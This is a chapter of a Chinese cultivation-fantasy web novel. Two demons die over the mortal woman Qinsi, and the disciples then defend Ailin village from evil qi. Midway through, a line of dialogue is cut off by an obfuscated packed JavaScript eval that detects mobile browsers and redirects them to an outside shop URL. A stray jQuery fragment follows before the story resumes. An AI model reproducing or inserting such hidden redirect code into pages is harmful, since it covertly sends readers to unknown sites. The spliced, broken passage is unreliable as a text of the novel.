25. 当然没死
    这位所谓的徐道长,替钦思挡下了冰雪术。若徐道长没受伤,遭这一击得个重伤,修养数十年还能重新回到现在状态。

    但是可惜,谭师兄在追逐的过程中,早就重创了他。

    “徐微!你这又是何苦呢?”哽咽的声音响彻这片天地。

    滴答。滴答滴答。

    下雨了。

    徐微身上没有一处是完好的,他的血混进雨滴,一同落下,进了土地,为黄土添了抹红,阴鸷的眼盛满柔情,只听他说:

    “我……终于……找到……你了。”

    雨大了,风也起了,吹得雨滴成小石子,砸在脸上都有了痛,却又触及障碍时化为柔情,湿了鬓角,润了唇瓣。

    徐微撑不住了,倒在了钦思的身上,他颤颤巍巍举起手想要触碰她的脸颊,不知是不敢还是不忍,明明都要碰到,却还是缩回去。

    “能不能不要再抛弃我了?”

    钦思被这一而再再而三的打击得话都说不出来了,她只能木讷地摇头。

    离他们最远的江见晚和温川谨,仍站在原地未动。

    江见晚细细感受着二人的情绪,她没有施法术避开雨水,她和他们共淋。睫毛不断凝聚小水珠,随着她一眨就掉落。

    “江小侠,你是不是很奇怪,怎么两个化神就为了一个凡人女子献出了自己的命?”

    “这是他们的选择。”江见晚看向清爽的温川谨。

    她湿漉漉的,他反之没有一处有水。

    杭怡好像不是很相信自己看见的事实。

    荒唐!真荒唐!

    她实在不理解,她转向邬今杏,问:“是不是很荒唐?两个化神、两个化神!就为了这么一个不识好歹的女子放弃生命,放弃这一身足以畅游修仙界的修为!是不是很可笑?”

    邬今杏没有回答,她也混沌着。宗音娟都不忍心闭上眼,哪怕眼前心心念念的谭师兄在,也不愿面对这场面。

    太突然了,以至于都显得悲壮。

    杭怡简直气笑。那个狐妖可是九尾,九尾狐族怎么教的?

    还有这个兔妖,兔妖本就天赋受限,修到化神得吃多少苦,就这么白白给了?

    清冷的模样总算是挂不住了,杭怡抿直嘴,脚下的地也因为她的情绪,开始结冰。

    “等会。”

    谭师兄还在猜是啥情况,见这雪狼动气,赶紧出声,以免误伤旁人,毕竟化神一动怒,金丹期还真遭不住。

    杭怡自觉收回四散的妖力,一片叶子从远处飘过来,落在她发顶,杭怡拿下来,握在掌心,呼吸间脸色大变。

    “既然允道宗接了这案子,就归你们处置。”

    音都没落下,人就没了影子。

    走了一个,又来了一个。

    洪裴急匆匆跑来,路过了江见晚,视线落在地上那二人,还没太明白是什么情况。

    江见晚就在他擦肩而过时,朝他看去,停顿许久。随之不偏不倚移开。

    江见晚和青莲算是第一次正式碰面,她走上前去,就被谭师兄拦住了。

    “江师妹。”

    “我知道,我只想感受一下。”江见晚望进那双狐狸眼。

    谭师兄笑意也减少了一些,他放低声音:“那去吧。”

    “我去过奈何桥找你,去过许多生孩的人家,去过你喜欢的花田,去过好多地方……你不在的日子里,我都不知道自己活着的意义了,只想着我得变强一些,这样你就不会像上一次那样,如此无助。但是,我好像还是来晚了。”徐微说着说着越有力,他发现不对了。

    “钦思!你做什么!”

    钦思只是摸了摸他的脑袋,虚弱开口:“我不值得你们这样做。你们本是难得好友,如今为我反目,叫我如何是好呢?红颜祸水名头戴久了,似乎再也摘不下来。我心有愧。”

    “我不会用妖力,但我听范豫说过,你们灵根一样,如此,他的妖丹你也应该可以吸收。总比随我去了要好。”

    她虽不会用妖力,但妖丹本就不是她的,自然出来地顺利。通红的妖丹上附着九尾狐独有的血脉之力,徐微只是一个兔妖,若是真要吸收也需漫长时间。

    但妖总归是妖。他族妖丹一旦入体且妖丹主人已死,就会彻底和其融为一体。

    徐微重创伤处肉眼可见地恢复。了妖丹,钦思的生命也快速消散。

    两个人生命走向相反。位置颠倒,徐微将钦思抱在怀中,头埋在她的颈间,难受呜咽。

    钦思还想看看他,但是他抱的太紧了,她也就随他了。

    “徐微,我死后,能否将我和范豫合葬一处?”

    钦思苍白的脸上悲痛掩盖不住。徐微身子僵住,他慢慢抬头,双目赤红。

    钦思原以为他会拒绝,想来也是,谁会愿意将自己心上人和他的情敌葬于一处,正要说些话,就被打断,

    “好。”徐微道。

    钦思异常温柔地笑了,然后笑道:“委屈你了。”

    雨势小了。

    钦思,倾思,随风雨而逝。

    “江见晚!小心!”

    禁言解除的宗音娟丢掉平日的脾性,急忙喊了一声江见晚。江见晚离得兔妖最近,面对他突如其来的袭击,她属实招架不住。

    “都怪你们!要不是你们她怎么会死!”

    徐微一个劲想取江见晚的性命,他知道有一种方法,只要有一具躯壳,他的钦思就可以活!

    谭师兄叹了一声:“你是真找死。”

    “江师妹!退我身后!”谭师兄口中这般说,身子倒是早就到了江见晚的前面。

    谭师兄的武器就是一面镜子。

    潘献匀这才突然想起事:“这边先交给谭师兄!矮林村出现邪气,我们需得前去支援!”

    一边的洪裴插话道:“我也去。”

    江见晚总觉得这人有些莫名熟悉,行为也带着怪异,却看不出哪不对。

    “刚好,我这阵画完了。各位站好!”

    潘献匀一声令下,除却已经分出胜负的两个人,和地上的钦思,其余人都全部消失。

    *

    矮林村村口。

    惊恐的人们东逃西窜,躲进屋子没多久又从里面爬了出来。

    “什么东西!”

    “爹!娘!树动了!”

    “有妖!有妖!”

    在矮林村的正中心,杭怡浮在空中,双手捏决朝逃窜的邪气杀去,整个人显出妖的模样,吓得村民不知从何逃去。

    总算有了明智的人大喊出声:“妖在救我们!我们去她那!”

    杭怡耳朵微动,恨铁不成钢地道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282826|151919||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“怎么敢来我这?”

    察觉一群熟悉的气息,她这才朝江见晚他们看去。

    “来都来了,愣着做什么?”

    邬今杏看向潘献匀:“献匀,你阵法怎么样了?”

    潘献匀翻出一张纸,神神叨叨起来,微微思索回:“应当没问题。”

    江见晚和温川谨对视一眼,道:“我和他去东面。”

    锤子跟着道:“我去西面。”

    宗音娟没回话,自觉地往南方飞去。

    剩下的邬今杏看向洪裴。道:“洪道友,你和这位潘道友一起,和那位杭姑娘一起守住中央。我们选择将所有邪气逼向中央,所以中间的是重中之重。”

    洪裴点头。

    见都安排妥当,邬今杏才快步朝自己的位置走去。

    *

    东面。

    邪气有些多,江见晚丢了一件法器给温川谨,只身前往和它们厮杀。

    “祝苍。”

    她并没有握剑,闭上眼感受着祝苍,心念一致时,温和的气势转变杀气。

    江见晚和邪气擦着脸过去,经过她时,溃散消失,但又会在别处重新积蓄起来。

    真是狗皮膏药,她如是想。

    该怎么逼过去呢?东面人烟稀少,但并不是没人居住。

    一位老奶奶双手胡乱地朝前面摸着什么,而被斩灭的邪气在老人家背后聚起。

    江见晚闪现到了老奶奶身边,祝苍这才被她握在手中,她执剑再次将邪气打散。

    “江小侠!”温川谨时刻注意着她,所以那位老人忽地变了样急道:“小心那人!”

    江见晚没回头,剑反握,朝后头挥去。

    落空了。无事。

    江见晚顺势转身,和老奶奶对上,但如今也不该这么称呼。

    生了灵智的邪气,称邪存。

    好在,邪气不如裴氏的那么厉害,还是能灭掉一些的。

    “西面的已经过去了。”温川谨时刻关注手中的仙器变化。

    “祝苍。破!”一声喝令,祝苍和她相通心念,挑衅地打了一下邪存。

    邪存有些暴躁了。本就没多少的灵智自然也不明白其中的弯弯绕绕。

    江见晚先飞至空中,接着祝苍剑才跟上她。

    剑浮在她的背后,同时邪存也开始不管不顾地追起了江见晚。

    站在原地的温川谨,望着江见晚的背影远去,无奈地拍了拍手中的仙器。

    “没想到你也在她手上。她这师尊倒是宠她。”他正要抬步,就见江见晚的谭师兄冷着脸在他面前。

    “你没死?”

    温川谨顿步,他笑道:“这位谭道友,我们应该是第一次见面。何来死没死的?”

    “我叫什么你不知道吗?”

    温川谨当然知道。

    这位是他好友的徒弟,谭君漠。

    谭君漠不管温川谨什么想法,他直接道:“离江师妹远些。”

    “为什么?”温川谨反问。

    “若是,你要是想拉江师妹入火坑,允道宗第一个不放过你。若不是,那就简单了,凡人就该离修士远些。江师妹她这个性子,我稍微点拨,她定然会自觉和你分别。江师妹她只是不通人情,而非笨。”

    “允道宗不是不随手插手因果吗?”